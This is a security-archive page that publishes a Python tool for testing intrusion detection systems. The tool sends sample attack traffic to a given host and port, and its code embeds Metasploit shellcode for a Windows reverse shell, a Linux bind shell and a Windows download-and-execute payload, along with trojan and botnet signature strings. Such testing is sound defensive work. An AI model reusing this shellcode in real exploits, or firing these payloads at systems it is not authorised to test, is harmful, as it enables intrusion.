what you don't know can hurt you

Peta Zetas IDS Testing Tool

Peta Zetas IDS Testing Tool
Posted Jan 3, 2012
Authored by Alberto Ortega

PZIDS (Peta Zetas IDS) is a tool to test if your IDS is detecting threats properly. Written in Python.

tags | tool, sniffer, python
MD5 | b78ed32220ffb538532f721a2be7a485

Peta Zetas IDS Testing Tool

Change Mirror Download
#!/usr/bin/env python

# PZIDS (Peta Zetas IDS)
#
# pzids is a tool to test if your IDS
# is detecting threats properly.
#
# It includes some attack simulations
# from the inside and the outside that
# should match with your signatures.
#
# The name is taken from a well-known
# candy commercialized in Spain.
#
# GNU/GPLv3
# a0rtega

import sys
import socket

if (len(sys.argv) != 4):
print "PZIDS (Peta Zetas IDS) Help"
print "%s host port payload" % (sys.argv[0])
print "%s 127.0.0.1 80 1\n" % (sys.argv[0])
print "Payloads:\n"
print "$EXTERNAL_NET any -> $HOME_NET any"
print " 1 (Snort - SHELLCODE x86 NOOP)"
print " 2 (Snort - SHELLCODE x86 setuid 0)"
print " 3 (Snort - SHELLCODE x86 Windows 32-bit SEH get EIP technique)"
print " 4 (Snort - SHELLCODE x86 Linux reverse connect shellcode)"
print " 5 (Snort - SHELLCODE x86 inc ecx NOOP)"
print " 6 (MSF - windows/shell_reverse_tcp)"
print " 7 (MSF - linux/x86/shell_bind_tcp)"
print " 8 (MSF - windows/download_exec)"
print "\n",
print "$HOME_NET any -> $EXTERNAL_NET any"
print " a (Snort - ATTACK-RESPONSES directory listing)"
print " b (Snort - SPYWARE-PUT Keylogger ardamax keylogger runtime detection - ftp)"
print " c (Snort - BACKDOOR bandook 1.0 runtime detection)"
print " d (Emerging-threats - ET TROJAN IMDDOS Botnet User-Agent STORMDDOS)"
print " e (Emerging-threats - ET TROJAN Gh0st Trojan CnC)"
print " f (Emerging-threats - ET TROJAN NgrBot IRC CnC Channel Join)"
print " g (Emerging-threats - ET TROJAN Zeus/EyeStye Communication 0)"
sys.exit(0)

# From outside signatures

snort_shell_x86_noop = '\x90'*100

snort_shell_x86_setuid = "\xB0\x17\xCD\x80"

snort_shell_x86_win_seh_eip = "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089"

snort_shell_x86_linux_reverse = "\x31\xDB\x53\x43\x53\x6A\x02\x6A\x66\x58\x89\xE1\xCD\x80"

snort_shell_x86_inc_ecx_noop = 'A'*100

'''
* windows/shell_reverse_tcp - 314 bytes
* http://www.metasploit.com
* VERBOSE=false, LHOST=2.2.2.2, LPORT=666,
* ReverseConnectRetries=5, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
'''
msf_shell_reverse_tcp = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" \
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" \
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" \
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" \
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" \
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" \
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" \
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" \
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" \
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" \
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" \
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" \
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7" \
"\x68\x02\x02\x02\x02\x68\x02\x00\x02\x9a\x89\xe6\x6a\x10\x56" \
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" \
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24" \
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56" \
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" \
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0" \
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80" \
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

'''
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependChrootBreak=false, AppendExit=false,
* InitialAutoRunScript=, AutoRunScript=
'''
msf_shell_bind_tcp = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"

'''
* windows/download_exec - 359 bytes
* http://www.metasploit.com
* VERBOSE=false, URL=http://example.com/
'''
msf_down_exec = "\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x3c\x01\x80\x34\x0a\x99\xe2" \
"\xfa\xeb\x05\xe8\xeb\xff\xff\xff\x70\x4c\x99\x99\x99\xc3\xfd" \
"\x38\xa9\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91" \
"\x12\x41\x12\xea\xa5\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a" \
"\x62\x12\xd7\x8d\xaa\x74\xcf\xce\xc8\x12\xa6\x9a\x62\x12\x6b" \
"\xf3\x97\xc0\x6a\x3f\xed\x91\xc0\xc6\x1a\x5e\x9d\xdc\x7b\x70" \
"\xc0\xc6\xc7\x12\x54\x12\xdf\xbd\x9a\x5a\x48\x78\x9a\x58\xaa" \
"\x50\xff\x12\x91\x12\xdf\x85\x9a\x5a\x58\x78\x9b\x9a\x58\x12" \
"\x99\x9a\x5a\x12\x63\x12\x6e\x1a\x5f\x97\x12\x49\xf3\x9d\xc0" \
"\x71\xc9\x99\x99\x99\x1a\x5f\x94\xcb\xcf\x66\xce\x65\xc3\x12" \
"\x41\xf3\x98\xc0\x71\xa4\x99\x99\x99\x1a\x5f\x8a\xcf\xdf\x19" \
"\xa7\x19\xec\x63\x19\xaf\x19\xc7\x1a\x75\xb9\x12\x45\xf3\xb9" \
"\xca\x66\xce\x75\x5e\x9d\x9a\xc5\xf8\xb7\xfc\x5e\xdd\x9a\x9d" \
"\xe1\xfc\x99\x99\xaa\x59\xc9\xc9\xca\xcf\xc9\x66\xce\x65\x12" \
"\x45\xc9\xca\x66\xce\x69\xc9\x66\xce\x6d\xaa\x59\x35\x1c\x59" \
"\xec\x60\xc8\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59" \
"\x5a\x71\xbf\x66\x66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd" \
"\xfd\xeb\xfc\xea\xea\x99\xde\xfc\xed\xca\xe0\xea\xed\xfc\xf4" \
"\xdd\xf0\xeb\xfc\xfa\xed\xf6\xeb\xe0\xd8\x99\xce\xf0\xf7\xdc" \
"\xe1\xfc\xfa\x99\xdc\xe1\xf0\xed\xcd\xf1\xeb\xfc\xf8\xfd\x99" \
"\xd5\xf6\xf8\xfd\xd5\xf0\xfb\xeb\xf8\xeb\xe0\xd8\x99\xec\xeb" \
"\xf5\xf4\xf6\xf7\x99\xcc\xcb\xd5\xdd\xf6\xee\xf7\xf5\xf6\xf8" \
"\xfd\xcd\xf6\xdf\xf0\xf5\xfc\xd8\x99\x68\x74\x74\x70\x3a\x2f" \
"\x2f\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x2f\x80"

# To outside signatures

snort_att_resp_dir_list = "Volume Serial Number"

snort_spy_keylogg_ardamax = "{D082139B-D5E4-4e63-B866-9BFC97880A48}"

snort_back_bandook = "&first& "

et_trojan_imddos = "GET / HTTP/1.1\x0D\x0AHost: randomhost:1234\x0D\x0AConnection: keep-alive\x0D\x0A" \
"User-Agent: STORMDDOS\x0D\x0A\x0D\x0A"

et_trojan_gh0st = "Gh0st"

et_trojan_ngrbot = "PASS ngrBot"

et_trojan_zeus_eyestye = "AAAAA\xB4\xB4\xB4\xB4\xBC\xBF\xBF\xBF\xBF\xBD\xBD\xBD\xBD\xB3\xB3\xB3\xB3"

# Run

host = sys.argv[1]
port = sys.argv[2]
payload = sys.argv[3]

if payload == "1":
buff = snort_shell_x86_noop
elif payload == "2":
buff = snort_shell_x86_setuid
elif payload == "3":
buff = snort_shell_x86_win_seh_eip
elif payload == "4":
buff = snort_shell_x86_linux_reverse
elif payload == "5":
buff = snort_shell_x86_inc_ecx_noop
elif payload == "6":
buff = msf_shell_reverse_tcp
elif payload == "7":
buff = msf_shell_bind_tcp
elif payload == "8":
buff = msf_down_exec
elif payload == "a":
buff = snort_att_resp_dir_list
elif payload == "b":
buff = snort_spy_keylogg_ardamax
elif payload == "c":
buff = snort_back_bandook
elif payload == "d":
buff = et_trojan_imddos
elif payload == "e":
buff = et_trojan_gh0st
elif payload == "f":
buff = et_trojan_ngrbot
elif payload == "g":
buff = et_trojan_zeus_eyestye
else:
print "Error: Unknown payload."
sys.exit(1)
try:
print "Connecting ..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, int(port)))
print "Sending payload ..."
s.send(buff)
s.close()
print "Sent!"
except:
print "Error: Unable to connect to %s:%s" % (host, port)
sys.exit(1)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    25 Files
  • 17
    Oct 17th
    17 Files
  • 18
    Oct 18th
    7 Files
  • 19
    Oct 19th
    1 Files
  • 20
    Oct 20th
    1 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close